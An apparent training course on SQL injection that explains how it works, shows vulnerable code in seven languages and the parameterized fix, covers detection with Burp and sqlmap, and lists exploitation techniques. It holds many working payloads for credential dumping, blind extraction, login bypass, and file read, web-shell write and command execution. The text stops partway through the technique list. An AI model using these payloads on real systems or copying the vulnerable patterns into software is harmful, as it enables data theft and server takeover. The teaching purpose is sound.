InjectionFreeEasyServer-Side

SQL Injection

A complete guide to understanding, detecting, exploiting, and preventing SQL Injection vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

SQL INJECTION (SQLi)

A complete ANAS EDUCATION course on the most famous vulnerability in web security.

  • CWE-89
  • OWASP A03:2021 (Injection)
  • CVSS: typically 7.5 to 10.0
  • Status: still alive and well in 2026

SECTION 1. Introduction

Imagine you open your PC and visit `anastech.com`.

You go to the product search bar at the top of the page. You type the word `shoes`. You press Enter.

In the next half-second, four things happen behind the scenes.

  • Your browser sends an HTTP request to the server with your search term.
  • The server reads your search term out of the URL.
  • The server builds a database query that includes your search term.
  • The server runs that query and sends back the matching rows as an HTML page.

The HTTP request your browser sent looks like this:

text
GET /search?q=shoes HTTP/1.1
Host: anastech.com
Cookie: session=abc123

Inside the server, the PHP code looks something like this:

php
$q = $_GET['q'];
$sql = "SELECT name, price FROM products WHERE name LIKE '%" . $q . "%'";
$result = mysqli_query($db, $sql);

The query that the database actually runs looks like this:

sql
SELECT name, price FROM products WHERE name LIKE '%shoes%'

The database scans the `products` table, finds every row whose `name` column contains the letters `shoes`, and returns them. The server formats them into HTML and sends the page back. You see a list of shoes. Normal, expected, safe.

Now look at the same picture again, but with a question on top of it.

  • What if you did not type `shoes`?
  • What if you typed: `shoes' OR '1'='1`?

The server runs:

sql
SELECT name, price FROM products WHERE name LIKE '%shoes' OR '1'='1%'

`'1'='1'` is a condition that is always true. The `OR` makes the entire `WHERE` clause true for every row. The database now returns every single product in the `products` table, including ones that are hidden, unreleased, internal-only, or marked as draft.

That is the simplest possible SQL injection.

The bug is that your input was not just data. Your input was added directly into the SQL text. The database has no way to tell what came from the developer and what came from you. It just runs the string it was given.

This course teaches the SQL injection bug class from zero. By the end you will know:

  • What a SQL query really is and how the server builds one.
  • Why string concatenation is the original sin of database programming.
  • Six different families of SQL injection (in-band, error, union, blind boolean, blind time, out-of-band).
  • Thirty different exploitation techniques.
  • How to detect SQLi manually, with Burp, and with sqlmap.
  • How to bypass WAFs, encoding filters, and keyword blacklists.
  • How to write secure code in Python, PHP, Node.js, Java, and C#.
  • How to read a real CVE and reproduce it.

You do not need to be an expert. You just need to read carefully and try every payload yourself.

SECTION 2. How It Works

To find SQL injection bugs, you need to picture the journey of a single string from the browser to the database.

Step 1. The browser collects the input

You type something into a search box, a login form, a URL parameter, a header, a cookie, an XML body, a JSON body, anything. Your browser packages it into an HTTP request:

text
GET /search?q=shoes HTTP/1.1
Host: anastech.com

The string `shoes` is now sitting in the query string of the URL.

Step 2. The server reads the input

The server has code that reads the value of `q` out of the URL. In PHP it is `$_GET['q']`. In Node.js it is `req.query.q`. In Python Flask it is `request.args.get('q')`. In Java it is `request.getParameter("q")`. The names change, the idea is the same: the framework hands the developer a string.

Step 3. The server builds the SQL query

This is where the bug lives.

The safe way:

python
cursor.execute("SELECT * FROM products WHERE name LIKE %s", ("%" + q + "%",))

The unsafe way:

python
cursor.execute("SELECT * FROM products WHERE name LIKE '%" + q + "%'")

The safe way passes the query and the parameter as two separate things to the database. The database treats `q` as a value, no matter what is inside it. Even if `q` contains a quote or a semicolon, it stays a value.

The unsafe way mashes the query and the parameter into one big string, and only then hands the result to the database. The database has no idea which part came from the developer and which part came from you. It just parses and runs whatever it got.

Step 4. The database parses and runs

The database engine takes the SQL string and parses it as code:

text
SELECT name, price FROM products WHERE name LIKE '%shoes%'

It sees a `SELECT`, a `FROM`, a `WHERE` and a `LIKE`. It builds an execution plan. It scans the rows. It returns the matches.

If your input contained extra SQL syntax, the parser cheerfully includes that syntax in the plan. A closing quote ends the string early. An `OR` adds another condition. A `UNION` glues a second query onto the first. A `;` ends the statement and starts a new one. The database does not know that part of the string came from a stranger on the internet.

Visual: the safe flow

text
┌──────────┐    GET /search?q=shoes     ┌──────────┐
│ Browser  │ ─────────────────────────► │ Server   │
└──────────┘                            └────┬─────┘
                                             │
                                             │ q = "shoes"
                                             │
                                             │ execute(
                                             │   "SELECT * FROM products
                                             │    WHERE name LIKE %s",
                                             │   ("%shoes%",)
                                             │ )
                                             ▼
                                       ┌──────────┐
                                       │ Database │
                                       └──────────┘
                                  Treats "%shoes%" as a value.
                                  Never parses it as SQL.

Visual: the vulnerable flow

text
┌──────────┐  GET /search?q=shoes' OR '1'='1   ┌──────────┐
│ Browser  │ ────────────────────────────────► │ Server   │
└──────────┘                                   └────┬─────┘
                                                    │
                                                    │ q = "shoes' OR '1'='1"
                                                    │
                                                    │ sql = "SELECT * FROM products
                                                    │        WHERE name LIKE '%" + q + "%'"
                                                    │
                                                    │ sql = "SELECT * FROM products
                                                    │        WHERE name LIKE '%shoes'
                                                    │        OR '1'='1%'"
                                                    ▼
                                              ┌──────────┐
                                              │ Database │
                                              └──────────┘
                                       Parses the user input as SQL.
                                       OR '1'='1' is true for every row.
                                       Returns the whole table.

The difference between safe and unsafe is not a complicated algorithm. It is the difference between parameterized queries and string concatenation.

SECTION 3. Attack Flow

Here is the full life of an SQL injection attack, from the first probe to the final database dump.

Step 1. Map the input

You browse `anastech.com` and write down every place that accepts user input. Search boxes, login forms, filter dropdowns, URL parameters, hidden form fields, cookies, custom headers, JSON bodies, XML bodies, multipart forms, file names. Anything that goes into the server.

Step 2. Probe each input

For each input, you send a single quote.

text
GET /product?id=5' HTTP/1.1

You watch the response. Three things can happen.

  • The page looks normal. The input was probably filtered or not used in SQL.
  • The page looks broken. You see "Error in your SQL syntax near ...". You are in.
  • The page looks normal but a little different. Stay alert. This could be blind SQLi.

Step 3. Confirm the bug

You send two payloads that should produce different results if there is a bug, and the same result if there is not.

text
GET /product?id=5 AND 1=1
GET /product?id=5 AND 1=2

The first one should return the original product. The second one should return nothing. If they differ, the input is going into a query.

Step 4. Identify the database

You guess the database based on errors, syntax differences, and version queries.

text
SELECT @@version       (MySQL, SQL Server)
SELECT version()       (PostgreSQL)
SELECT banner FROM v$version  (Oracle)
SELECT sqlite_version()  (SQLite)

Step 5. Count the columns

If the injection point is a `SELECT` you can hijack with `UNION`, you need to know how many columns the original `SELECT` returns. You use `ORDER BY` until the database complains, or you use `UNION SELECT` with increasing numbers of `NULL`s.

text
?id=5 ORDER BY 1--   ==> ok
?id=5 ORDER BY 2--   ==> ok
?id=5 ORDER BY 3--   ==> ok
?id=5 ORDER BY 4--   ==> ERROR: unknown column 4

That tells you the query returns 3 columns.

Step 6. Map the schema

You use `UNION` to read the database's own catalog tables.

text
?id=5 UNION SELECT table_name, NULL, NULL FROM information_schema.tables--

You read every table name. You pick the juicy ones: `users`, `accounts`, `customers`, `payments`, `tokens`.

text
?id=5 UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE table_name='users'--

You read every column of the `users` table. You see `username`, `email`, `password_hash`, `role`, `is_admin`.

Step 7. Dump the data

text
?id=5 UNION SELECT username, password_hash, role FROM users--

You read every user's username, password hash, and role. You crack the hashes. You log in as admin.

Step 8. Escalate

You look for ways to go beyond reading the database.

  • Read files: `LOAD_FILE('/etc/passwd')` on MySQL.
  • Write files: `SELECT ... INTO OUTFILE '/var/www/html/shell.php'` on MySQL.
  • Execute commands: `xp_cmdshell 'whoami'` on SQL Server.
  • Pivot to internal services: `COPY (...) TO PROGRAM 'curl http://internal'` on PostgreSQL.

Timing diagram

text
TIME (s)     YOU                              SERVER
0.00         Send: ?id=5'                ─►
0.01                                          MySQL error: syntax near "'"
0.05         Read response, see error
0.10         Send: ?id=5 AND 1=1         ─►
0.11                                          Returns product 5
0.20         Send: ?id=5 AND 1=2         ─►
0.21                                          Returns nothing
0.30         Confirmed bug
0.40         Send: ?id=5 ORDER BY 1      ─►
                ...                       
2.00         Send: ?id=5 UNION SELECT @@version,NULL,NULL ─►
2.01                                          Returns "8.0.30-MySQL"
3.00         Send UNION on information_schema.tables ─►
3.01                                          Returns table list
5.00         Send UNION on users         ─►
5.01                                          Returns full credentials

Total time from first probe to full compromise on an unprotected site: under ten minutes by hand, under one minute with sqlmap.

SECTION 4. Why Developers Make This Mistake

SQL injection has been a known bug since 1998. It is still in the OWASP Top 10 in 2026. Developers still write it every day. Why?

Mistake 1. "Concatenation is just easier."

Writing this:

php
$sql = "SELECT * FROM users WHERE username = '$user'";

is faster than writing this:

php
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :u");
$stmt->execute(['u' => $user]);

The developer thinks they will fix it later. They never fix it later. The shortcut becomes the production code.

Mistake 2. "I escape the input, that is enough."

Developers learn about `mysql_real_escape_string()` or `addslashes()` and assume that running every input through it is enough. It is not. Escaping fails in many cases:

  • Numeric inputs that are not quoted in the SQL: `WHERE id = $id`. The attacker injects `1 OR 1=1` and never needs a quote.
  • Multibyte character bugs (`SET NAMES 'gbk'` plus `addslashes` is exploitable).
  • Identifiers (table names, column names) which cannot be parameterized and which escaping does not protect.
  • Double quoting that gets unwrapped later.

Escaping is not the right pattern. Parameterized queries are.

Mistake 3. "I validate the input on the client side."

JavaScript validation in the browser is a UX feature, not a security feature. The attacker turns off JavaScript or sends the request directly with curl. The server must validate. The server must use parameters.

Mistake 4. "I use an ORM, so I am safe."

Most of the time, yes. ORMs build parameterized queries by default. But every ORM has escape hatches:

  • `raw()` methods in Django, SQLAlchemy, Sequelize.
  • String concatenation inside a `where()` clause.
  • Dynamic table and column names that the ORM cannot parameterize.
  • Calling stored procedures with concatenated arguments.

Using an ORM is not magic. The developer still has to avoid the escape hatches.

Mistake 5. "Our database is internal, so SQLi is not exploitable."

This is the famous "we have a firewall" argument. It is wrong because:

  • Any web user is a path to the database from the outside, through the app.
  • SQLi gives data exfiltration even without direct network access.
  • Out-of-band SQLi can reach the internet from the database itself (DNS, HTTP requests).

The database is never internal if a web form can talk to it.

SECTION 5. Beginner Summary

  • SQL injection happens when user input is glued into a SQL query as text, instead of being passed as a parameter.
  • The attacker types SQL syntax (like `' OR '1'='1`) into a normal input field, and that syntax becomes part of the query the server sends to the database.
  • The fix is always the same: use parameterized queries (also called prepared statements) so the database treats your input as a value, never as code.
  • SQL injection comes in six families: in-band (you see results directly), error-based (the error message leaks data), union-based (you append your own query), blind boolean (you ask yes/no questions), blind time (you make the database sleep), and out-of-band (you exfiltrate over DNS or HTTP).
  • The cost of one SQL injection bug ranges from leaked search results to full database dump to remote code execution on the server. Test every input.

SECTION 6. Visual Explanation

The safe pattern (parameterized query)

text
┌────────────────────────────────────────────────────────────────┐
│ SERVER CODE                                                    │
├────────────────────────────────────────────────────────────────┤
│  query  = "SELECT * FROM users WHERE name = ?"                 │
│  params = [user_input]                                         │
│                                                                │
│  ┌────────┐         ┌─────────────┐         ┌──────────┐       │
│  │ QUERY  │ ──────► │ DB DRIVER   │ ──────► │ DATABASE │       │
│  │(static)│         │ binds value │         └──────────┘       │
│  └────────┘         └─────────────┘                            │
│                            ▲                                   │
│  ┌────────┐                │                                   │
│  │ INPUT  │ ───────────────┘                                   │
│  │ (data) │     Travels separately. Never parsed as SQL.       │
│  └────────┘                                                    │
└────────────────────────────────────────────────────────────────┘

The vulnerable pattern (string concatenation)

text
┌────────────────────────────────────────────────────────────────┐
│ SERVER CODE                                                    │
├────────────────────────────────────────────────────────────────┤
│  query = "SELECT * FROM users WHERE name = '" + input + "'"    │
│                                                                │
│  ┌──────────────────────────────────┐         ┌──────────┐     │
│  │ ONE BIG STRING (code + input)    │ ──────► │ DATABASE │     │
│  └──────────────────────────────────┘         └──────────┘     │
│                                          Parses the whole      │
│                                          string as SQL.        │
│                                          Cannot tell code      │
│                                          from data.            │
└────────────────────────────────────────────────────────────────┘

The injection ladder

text
                              ┌─────────────────────────┐
                              │ STAGE 6: Full takeover  │
                              │ - RCE via xp_cmdshell   │
                              │ - File write to webroot │
                              │ - Pivot to internal LAN │
                              └────────────┬────────────┘
                                           │
                              ┌────────────┴────────────┐
                              │ STAGE 5: Data dump      │
                              │ - Dump entire users     │
                              │ - Dump payment tables   │
                              │ - Dump tokens           │
                              └────────────┬────────────┘
                                           │
                              ┌────────────┴────────────┐
                              │ STAGE 4: Schema map     │
                              │ - information_schema    │
                              │ - tables, columns       │
                              └────────────┬────────────┘
                                           │
                              ┌────────────┴────────────┐
                              │ STAGE 3: Fingerprint    │
                              │ - @@version             │
                              │ - banner               │
                              └────────────┬────────────┘
                                           │
                              ┌────────────┴────────────┐
                              │ STAGE 2: Confirm        │
                              │ - AND 1=1 vs AND 1=2    │
                              │ - SLEEP(5)              │
                              └────────────┬────────────┘
                                           │
                              ┌────────────┴────────────┐
                              │ STAGE 1: Probe          │
                              │ - single quote          │
                              │ - look for errors       │
                              └─────────────────────────┘

The six families of SQLi

text
                         ┌──────────────────┐
                         │ SQL INJECTION    │
                         └────────┬─────────┘
                                  │
        ┌─────────────────────────┼─────────────────────────┐
        │                         │                         │
   ┌────▼─────┐             ┌─────▼──────┐           ┌──────▼──────┐
   │ IN-BAND  │             │ INFERENTIAL│           │ OUT-OF-BAND │
   │ (visible)│             │  (BLIND)   │           │    (OOB)    │
   └────┬─────┘             └─────┬──────┘           └──────┬──────┘
        │                         │                         │
   ┌────┴────┐              ┌─────┴────┐                    │
   │         │              │          │                    │
┌──▼──┐  ┌───▼──┐       ┌───▼───┐  ┌───▼───┐           ┌────▼────┐
│UNION│  │ERROR │       │BOOLEAN│  │ TIME  │           │ DNS/HTTP│
└─────┘  └──────┘       └───────┘  └───────┘           └─────────┘
Results  Error           True/false  SLEEP()            burpcollab
in HTML  reveals         differs     differs            interactsh
         data            in response in delay

Query structure under attack

text
SAFE QUERY:
SELECT * FROM products WHERE id = ?
        ^      ^        ^    ^   ^
        |      |        |    |   parameter slot
        keyword             column
        
INPUT: 5
        
RESULT:
SELECT * FROM products WHERE id = 5
        Database sees: keyword keyword keyword keyword integer
        Database runs it as written.

------------------------------------------------------------------

VULNERABLE QUERY:
"SELECT * FROM products WHERE id = " + user_input
        
INPUT: 1 UNION SELECT password FROM users--
        
RESULT:
SELECT * FROM products WHERE id = 1 UNION SELECT password FROM users--
        Database sees: keyword keyword keyword keyword expression union expression comment
        Database runs an entirely different query than the developer intended.

SECTION 7. Definition

Technical definition

SQL Injection (CWE-89) is a class of vulnerabilities in which untrusted input is incorporated into the text of a SQL statement before it is parsed by the database engine, allowing the attacker to alter the structure or semantics of the statement. It is the canonical instance of OWASP Top 10 A03:2021 (Injection). The vulnerability arises when a string-handling function in the application layer concatenates a user-controlled value into a query string, instead of passing it through the database driver's parameter binding interface. The resulting statement is parsed by the database with attacker-controlled tokens treated as language constructs (operators, identifiers, statement boundaries, sub-selects, function calls), enabling unauthorized read or write access to data, denial of service, code execution within the database process, and pivot to the file system or operating system.

Beginner-friendly definition

A SQL injection is what happens when you type computer code into a form, and the website mistakes your code for its own code.

Why it matters

SQL injection has been catastrophic for nearly thirty years and remains one of the highest-impact web bugs in 2026.

  • CVE-2025-56316 (CVSS 9.8 critical) in MCMS allowed remote SQL injection via the content_title parameter in /cms/content/list, affecting versions 5.5.0 through 6.0.1.
  • CVE-2025-29085 (CVSS 9.8) in vipshop Saturn 3.5.1 and earlier allowed remote SQL injection through the executorCount endpoint, with no patch available at disclosure.
  • CVE-2026-34260 (CVSS 9.6, May 2026) in SAP S/4HANA's Enterprise Search for ABAP component allowed authenticated SQL injection via direct concatenation of user input into queries.
  • CVE-2026-27681 (CVSS 9.9, April 2026) in SAP Business Planning and Consolidation allowed full database compromise through SQL injection.
  • CVE-2026-9082 (May 2026) in Drupal core's PostgreSQL EntityQuery condition handler allowed unauthenticated remote SQL injection across all major Drupal branches, including end-of-life versions which received exceptional patches.
  • CVE-2026-32306 in OneUptime allowed ClickHouse SQL injection through aggregate, sort, select, and groupBy parameters via unverified Identifier interpolation, patched only in version 10.0.34.
  • In 2026 vulnerability research, blind SQL injection remains among the most common critical web vulnerabilities, with 32% of identified vulnerabilities remaining unpatched for over 180 days.

The Equifax breach (2017), the TalkTalk breach (2015, 150,000 customers), and many of the credit-card heists of the 2010s started with a single quote in a single input field.

Common affected systems

  • Custom PHP applications that concatenate SQL.
  • Legacy Java applications using `Statement` instead of `PreparedStatement`.
  • Node.js applications using string templates with `mysql` or `mssql` drivers.
  • Python applications using `%` formatting or `f-strings` to build queries.
  • .NET applications using `SqlCommand` with `CommandText = "... " + input`.
  • Enterprise products: SAP, Drupal, WordPress plugins, Joomla extensions, Magento extensions.
  • Mobile back-ends that forward JSON straight into queries.
  • GraphQL resolvers that build SQL on the server side.
  • Reporting and analytics tools that accept "ad-hoc" filters.
  • ORM applications that use `raw()` or string-built `where` clauses.

SECTION 8. Examples

Example 1. The product search on AnasMarket

The feature. AnasMarket has a search bar that lets you search products by name. The URL is `https://anasmarket.com/search?q=shoes`. The server takes `q` and runs `SELECT name, price, stock FROM products WHERE name LIKE '%[q]%' AND visible = 1`. The page shows matching products as a grid.

The bug. The value of `q` is concatenated into the SQL string. There is no parameterization, no escaping, no allowlist.

The attack step by step.

  • Step 1. You probe with `q=shoes'`. The page returns a 500 error showing "Syntax error near '%shoes''".
  • Step 2. You confirm with `q=shoes' AND '1'='1` and `q=shoes' AND '1'='2`. The first returns shoes. The second returns nothing.
  • Step 3. You count columns with `q=shoes' UNION SELECT NULL,NULL,NULL--`. The page works. Three columns.
  • Step 4. You read the version with `q=shoes' UNION SELECT @@version,NULL,NULL--`. The page shows "8.0.34-MySQL".
  • Step 5. You list tables with `q=' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--`. You see `users`, `orders`, `payments`, `coupons`.
  • Step 6. You dump users with `q=' UNION SELECT CONCAT(email,':',password_hash),role,NULL FROM users--`. You have every user's credentials.
  • Step 7. You crack the hashes offline with hashcat. You log in as the admin.
  • Outcome: full account takeover of the entire marketplace.

Example 2. The login form on AnasBank

The feature. AnasBank's online banking login takes a username and password. The server runs `SELECT user_id, full_name FROM customers WHERE username = '[u]' AND password = MD5('[p]')`. If the query returns a row, the user is logged in.

The bug. Both `[u]` and `[p]` are concatenated directly. No prepared statement.

The attack step by step.

  • Step 1. You enter username `admin' --` and any password.
  • Step 2. The query becomes `SELECT user_id, full_name FROM customers WHERE username = 'admin' -- ' AND password = MD5('anything')`.
  • Step 3. Everything after `--` is a comment. The query becomes `SELECT user_id, full_name FROM customers WHERE username = 'admin'`.
  • Step 4. The query returns a row for admin. The server logs you in as admin.
  • Outcome: full access to the bank's admin dashboard, which can transfer money, freeze accounts, and view every customer's balance.

Example 3. The product filter on AnasTravel

The feature. AnasTravel has a "sort by" dropdown on the flight search results: `?sort=price`, `?sort=duration`, `?sort=date`. The server runs `SELECT * FROM flights WHERE origin = 'CMN' ORDER BY [sort]`.

The bug. The `sort` parameter is concatenated into the `ORDER BY` clause. `ORDER BY` cannot be parameterized in standard SQL drivers, so the developer just concatenated it. There is no allowlist of valid column names.

The attack step by step.

  • Step 1. You try `?sort=(CASE WHEN (1=1) THEN price ELSE date END)`. The list comes back sorted by price.
  • Step 2. You try `?sort=(CASE WHEN ((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a') THEN price ELSE date END)`. The list comes back sorted by date.
  • Step 3. You write a script that loops through every character. For each character, you ask: "is the first letter of admin's password 'a'?" "Is it 'b'?" etc.
  • Step 4. Within a few thousand requests you extract the entire admin password, character by character, just from observing the order of the results.
  • Outcome: blind SQL injection through `ORDER BY` leaks the admin password without ever showing data on the page.

Example 4. The cookie-based session on AnasSocial

The feature. AnasSocial sets a cookie `tracking_id=abc123` to remember anonymous visitors. The server runs `SELECT preferences FROM tracking WHERE tracking_id = '[cookie]'` on every page load to load the user's preferences (dark mode, language).

The bug. The cookie value is concatenated into the query.

The attack step by step.

  • Step 1. You open Burp Suite and intercept a request.
  • Step 2. You change the `tracking_id` cookie to `abc123' AND SLEEP(5)-- `.
  • Step 3. The page takes 5 seconds longer than usual to load.
  • Step 4. You confirm with `tracking_id=abc123' AND SLEEP(0)-- ` which loads normally.
  • Step 5. You build a time-based exfiltration: `tracking_id=abc123' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a', SLEEP(5), 0)-- `.
  • Step 6. You sweep through every character and extract the admin password without the page ever displaying it.
  • Outcome: time-based blind SQLi through a cookie that the developer never thought to filter.

Example 5. The XML import on AnasDocs

The feature. AnasDocs lets administrators bulk-import documents by uploading an XML file. The server parses the XML and inserts each `<document>` into the database with `INSERT INTO documents (title, body, author) VALUES ('[title]', '[body]', '[author]')`.

The bug. The XML field values are concatenated into the INSERT statement.

The attack step by step.

  • Step 1. You upload an XML file with a single document where the title is `Hello', (SELECT password FROM users WHERE id=1), '--`.
  • Step 2. The INSERT runs as: `INSERT INTO documents (title, body, author) VALUES ('Hello', (SELECT password FROM users WHERE id=1), '--', '...', '...')`.
  • Step 3. The body column of the new document now contains the admin's password.
  • Step 4. You view the document in the normal UI. The admin's password is displayed as the body.
  • Outcome: second-order SQL injection through an XML import bypasses every WAF that only inspects search and login.

SECTION 9. Vulnerable Code

These are the canonical wrong patterns in five common languages. Memorize them. You will see them in real codebases for the rest of your career.

Python (with sqlite3 / psycopg2 / pymysql)

python
# VULNERABLE
import pymysql
conn = pymysql.connect(...)
cur = conn.cursor()

user_input = request.args.get('q')
sql = "SELECT * FROM products WHERE name LIKE '%" + user_input + "%'"
cur.execute(sql)
# The user input is glued into the query string before execute() ever sees it.
# The database receives one big SQL string with no awareness of which part is data.
python
# ALSO VULNERABLE (f-strings and % formatting are the same mistake)
sql = f"SELECT * FROM users WHERE id = {user_id}"
sql = "SELECT * FROM users WHERE id = %d" % user_id

PHP (with mysqli / PDO)

php
// VULNERABLE
$q = $_GET['q'];
$sql = "SELECT name, price FROM products WHERE name LIKE '%" . $q . "%'";
$result = mysqli_query($db, $sql);
// Same disease, different syntax. $q is concatenated, the query is parsed as one string.
php
// ALSO VULNERABLE (PDO without prepare is still concatenation)
$pdo->query("SELECT * FROM users WHERE id = " . $_GET['id']);

Node.js (with mysql / mysql2)

javascript
// VULNERABLE
const mysql = require('mysql');
const conn = mysql.createConnection({ ... });

const q = req.query.q;
const sql = `SELECT * FROM products WHERE name LIKE '%${q}%'`;
conn.query(sql, (err, results) => { ... });
// Template literals are concatenation in disguise.
javascript
// ALSO VULNERABLE (Sequelize raw query without replacements)
sequelize.query("SELECT * FROM users WHERE id = " + req.params.id);

Java (with JDBC)

java
// VULNERABLE
String q = request.getParameter("q");
Statement stmt = conn.createStatement();
String sql = "SELECT * FROM products WHERE name LIKE '%" + q + "%'";
ResultSet rs = stmt.executeQuery(sql);
// Statement (not PreparedStatement) is the unsafe class.
// Every "+" between query text and user input is a SQLi bug waiting to happen.

C# / .NET (with SqlCommand)

csharp
// VULNERABLE
string q = Request.QueryString["q"];
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM Products WHERE Name LIKE '%" + q + "%'",
    connection);
SqlDataReader reader = cmd.ExecuteReader();
// The CommandText property is built by concatenation.
// Parameters collection is unused.

Go (with database/sql)

go
// VULNERABLE
q := r.URL.Query().Get("q")
rows, err := db.Query("SELECT * FROM products WHERE name LIKE '%" + q + "%'")
// The Query function accepts SQL text and parameters separately, but here
// the developer concatenated and ignored that capability.

Ruby (with ActiveRecord)

ruby
# VULNERABLE
q = params[:q]
User.where("name LIKE '%#{q}%'")
# String interpolation in a where clause is the classic Rails SQLi pattern.

The universal pattern across languages

Every example above contains the same four steps:

  • Step 1. The application reads a value out of the request.
  • Step 2. The application concatenates that value into a string of SQL.
  • Step 3. The application calls the database driver's "run this string" function.
  • Step 4. The database parses the whole string as SQL, including the attacker's syntax.

The variations are cosmetic. The same fix applies to all of them: split the query and the data into two arguments to the driver, and let the driver bind the data as a parameter.

SECTION 10. Detection

Manual detection

  • Step 1. Identify the input. Search bars, login forms, URL parameters, hidden fields, headers, cookies, JSON bodies.
  • Step 2. Send a single quote: `'`. Watch for a 500 error, a database error message, or a page that looks broken.
  • Step 3. Send two quotes: `''`. The query is now balanced again. The page should look normal. If it does, the input is going into a string context.
  • Step 4. Send a boolean test: `' AND '1'='1` versus `' AND '1'='2`. If responses differ, the input is in a query.
  • Step 5. Send a numeric boolean test: ` AND 1=1` versus ` AND 1=2` for inputs that look numeric (no quotes).
  • Step 6. Send a time test: `' AND SLEEP(5)-- ` and time the response. Compare with `' AND SLEEP(0)-- `.
  • Step 7. Send a UNION test: `' UNION SELECT NULL-- ` with increasing NULLs until you find the column count.

Burp Suite step by step

  • Step 1. Open Burp Suite and enable Intercept in the Proxy tab.
  • Step 2. In Firefox or Chrome, configure the FoxyProxy extension to send traffic through `127.0.0.1:8080`.
  • Step 3. Visit `https://anastech.com` and click around until you see the request you want to test in the Burp Proxy HTTP history.
  • Step 4. Right-click the request and choose "Send to Repeater".
  • Step 5. In Repeater, modify the parameter you suspect (URL, body, cookie, header). Add a single quote.
  • Step 6. Click "Send". Look at the response. Search for SQL errors with Ctrl+F: "syntax", "MySQL", "PostgreSQL", "ORA-", "SQLite", "unclosed quotation mark", "Microsoft OLE DB".
  • Step 7. If no error, send `' AND SLEEP(5)-- ` and watch the response time in the bottom right of the response panel.
  • Step 8. For deep auditing, right-click and choose "Send to Intruder", set the payload position on the parameter, and load a wordlist from SecLists/Fuzzing/SQLi.

Automated tools

Quick command-line scripts

bash
# Test a single endpoint for a basic single-quote error
curl -s "https://anastech.com/search?q=test'" | grep -i "syntax\|sql\|mysql\|ora-\|sqlite"
bash
# Time-based blind test
time curl -s "https://anastech.com/search?q=test'%20AND%20SLEEP(5)--%20-"
bash
# Full sqlmap scan with batch mode (no prompts)
sqlmap -u "https://anastech.com/search?q=shoes" --batch --level=5 --risk=3 --dbs
bash
# sqlmap with a saved Burp request
sqlmap -r request.txt --batch --dump --threads=10

Indicators of vulnerability

  • Database error message in HTTP response (any of: "Microsoft JET Database", "ORA-", "MySQL server version", "syntax error at or near", "SQLite3::SQLException", "Warning: mysql_").
  • HTTP 500 response when a quote is appended.
  • Response content changes when boolean payload is changed.
  • Response time changes when SLEEP() payload is sent.
  • Out-of-band DNS or HTTP callback after sending a payload that asks the DB to make a network request.
  • The page displays user input verbatim near table-like output.
  • The URL has a parameter that looks numeric (`?id=5`, `?page=2`) and the page changes when the value changes.

SECTION 11. Exploitation

Workflow

  • Step 1. Confirm the bug (quote, boolean, time).
  • Step 2. Determine database fingerprint (MySQL, PostgreSQL, Oracle, MSSQL, SQLite).
  • Step 3. Determine injection context (numeric, string, ORDER BY, LIMIT, second-order, in JSON, in cookie).
  • Step 4. Determine retrieval channel (visible response, error message, time delay, OOB).
  • Step 5. Find the column count.
  • Step 6. Find which columns are displayed.
  • Step 7. Map the schema (information_schema / equivalent).
  • Step 8. Dump the target tables.
  • Step 9. Escalate (file read, file write, command execution, network pivot).

Technique 1. Single-quote probe

The starting payload. Append `'` to any input and watch for errors.

text
?id=1'

If you see "syntax error" or a 500, the input goes into a quoted string in SQL.

Technique 2. Numeric injection (no quote needed)

If the parameter looks like a number, the SQL is likely `WHERE id = 1` with no quotes. You can inject without ever needing a quote:

text
?id=1 OR 1=1
?id=1 UNION SELECT NULL

This bypasses any filter that only looks for single quotes.

Technique 3. Boolean-based blind (visible content)

You force the page to render two different results based on a boolean.

text
?id=1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'

If the page returns the product, the first letter is 'a'. If not, try 'b'. Loop through every position and every character.

Technique 4. Time-based blind (delayed response)

You force the database to sleep based on a condition.

sql
-- MySQL
1 AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a', SLEEP(5), 0)

-- PostgreSQL
1 AND (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END FROM users WHERE id=1)

-- SQL Server
1; IF (SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a') WAITFOR DELAY '0:0:5'

-- Oracle
1 AND (CASE WHEN SUBSTR((SELECT password FROM users WHERE id=1),1,1)='a' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)=1

Technique 5. UNION-based extraction

The classic. After finding the column count, you append a `UNION SELECT` with your own query.

text
?id=1 UNION SELECT username, password, role FROM users--

Technique 6. Column count via ORDER BY

The cleanest way to find the column count. Increment until you get an error.

text
?id=1 ORDER BY 1-- (ok)
?id=1 ORDER BY 2-- (ok)
?id=1 ORDER BY 3-- (ok)
?id=1 ORDER BY 4-- (error: column out of range)

The query has 3 columns.

Technique 7. Column count via UNION SELECT NULLs

The other way: increase NULLs until the UNION runs without a type error.

text
?id=1 UNION SELECT NULL--
?id=1 UNION SELECT NULL,NULL--
?id=1 UNION SELECT NULL,NULL,NULL-- (works)

Technique 8. Identifying string columns

Once you know the column count, find which ones can display text. Replace NULL with a string one column at a time:

text
?id=1 UNION SELECT 'a',NULL,NULL--
?id=1 UNION SELECT NULL,'a',NULL--
?id=1 UNION SELECT NULL,NULL,'a'--

Whichever one returns a page (not a type error) is your output channel.

Technique 9. Information schema enumeration

sql
-- All tables (MySQL, PostgreSQL, SQL Server)
SELECT table_name FROM information_schema.tables

-- All columns of a specific table
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- All databases / schemas
SELECT schema_name FROM information_schema.schemata

For Oracle, use `all_tables`, `all_tab_columns`. For SQLite, use `sqlite_master`.

Technique 10. Concatenating multiple columns into one

When you only have one visible output column:

sql
-- MySQL
UNION SELECT CONCAT(username,':',password,':',role) FROM users

-- PostgreSQL
UNION SELECT username || ':' || password || ':' || role FROM users

-- Oracle
UNION SELECT username || ':' || password || ':' || role FROM users

-- SQL Server
UNION SELECT username + ':' + password + ':' + role FROM users

Technique 11. Error-based extraction (MySQL)

Force MySQL to throw an error that contains the data you want.

sql
SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))
